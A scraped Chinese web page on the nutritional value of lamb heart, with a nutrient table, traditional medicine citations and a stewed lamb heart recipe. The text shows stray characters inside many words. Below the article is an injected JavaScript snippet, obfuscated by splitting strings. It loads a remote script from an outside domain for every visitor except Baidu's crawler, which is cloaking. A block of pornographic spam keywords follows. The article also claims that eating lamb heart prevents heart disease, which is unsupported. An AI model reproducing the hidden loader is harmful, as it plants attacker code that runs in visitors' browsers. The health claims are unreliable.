當(dāng)前位置:首頁 > 飲食 > 食物營(yíng)養(yǎng) > 正文

羊心的營(yíng)養(yǎng)價(jià)值

2017-07-07 00:08:53  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:羊心的營(yíng)養(yǎng)價(jià)值到底如何呢,我們先來了解一下什么是羊心吧。羊心顧名思義就是羊的心臟。我們中醫(yī)講究的是以形補(bǔ)形,所以羊心是可以補(bǔ)心的,

羊心的營(yíng)養(yǎng)價(jià)值到底如何呢,我們先來了解一下什么是羊心吧。羊心顧名思義就是羊的心臟。我們中醫(yī)講究的是以形補(bǔ)形,所以羊心是可以補(bǔ)心的,羊心的做法有很多種,我們可以用羊心作為主要的食材做出像沙鍋燉羊心這樣的菜肴來,下文我們介紹一下羊心的營(yíng)養(yǎng)價(jià)值。

羊心的營(yíng)養(yǎng)價(jià)值非常高,羊心里面含有豐富的蛋白質(zhì)和微量元素,羊心含有人體需要的多種氨基酸,常吃羊心能夠補(bǔ)血和補(bǔ)心,并且可以預(yù)防心臟的疾病。

羊心,Capra hircus L.(山羊) Ovisaries L.(綿羊),為牛科動(dòng)物山羊或綿羊的心臟。

每100克約含水分80克,蛋白質(zhì)11.1克,脂肪8.3克,灰分1.4克,鈣9毫克,磷414毫克,鐵6.6毫克,硫胺素0.42毫克,核黃素3.57毫克,尼克酸18.9毫克,抗壞血酸17毫克,維生素A29900國(guó)際單位。

解郁,補(bǔ)心。

治膈氣,驚悸。

①《別錄》:止憂恚膈氣。

②《食療本草》:補(bǔ)心。

③《隨息居飲食譜》:治勞心膈痛。

紅花羊心

材料:

主料:羊心400克

輔料:紅花6克

調(diào)料:鹽2克

做法:

⒈ 將羊心剖開洗凈。將紅花加水1杯浸泡。

⒉ 將羊心放入炒鍋內(nèi),加水適量。

⒊ 將泡過的紅花撒在羊心上,放鹽少許,燉熟即可。

上文我們介紹了什么是羊心,我們知道羊心就是羊的心臟,羊心的營(yíng)養(yǎng)價(jià)值很高,羊心有非常好的養(yǎng)生功效和保健的作用,常吃羊心有利于我們補(bǔ)心,而且能預(yù)防一系列的心臟疾病,既然羊心的營(yíng)養(yǎng)價(jià)值這么高,我們大可以多用羊心來做菜。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产成人不卡亚洲精品91| 国产精品亚洲片在线观看不卡 | 亚洲国产精品无码一线岛国| 在线精品免费视频无码的| 久久国产视频精品| 国产99久久久国产精品~~牛| 亚洲精品中文字幕乱码| 国产在线精品二区| 日日夜夜精品免费视频| 亚洲精品美女视频| 一本久久a久久精品vr综合| 国产精品视频无圣光一区| 真实国产乱子伦精品免费| 99国产精品一区二区| 精品美女在线观看| 国产精品夜间视频香蕉| 99久久99久久久精品久久| 国内精品九九久久精品| 色哟哟国产精品免费观看| 日产精品一卡2卡三卡4乱码| 精品亚洲国产成AV人片传媒| 亚洲精品无码精品mV在线观看| 免费人妻精品一区二区三区| 久久久一本精品99久久精品66直播| 久久99精品视免费看| 日本无码小泬粉嫩精品图| 七月婷婷精品视频在线观看| 欧洲精品成人免费视频在线观看| 2021成人国产精品| 久久精品亚洲视频| 国产亚洲精品自在久久| 国产精品网址在线观看你懂的| 热久久99精品这里有精品| 国产精品高清在线观看地址| 蜜臀98精品国产免费观看| 久久精品久久精品| 国产精品无码一区二区三区电影| 精品99久久aaa一级毛片| 国产成人精品一区二区三区| 香蕉精品高清在线观看视频| 国产精品无码av天天爽|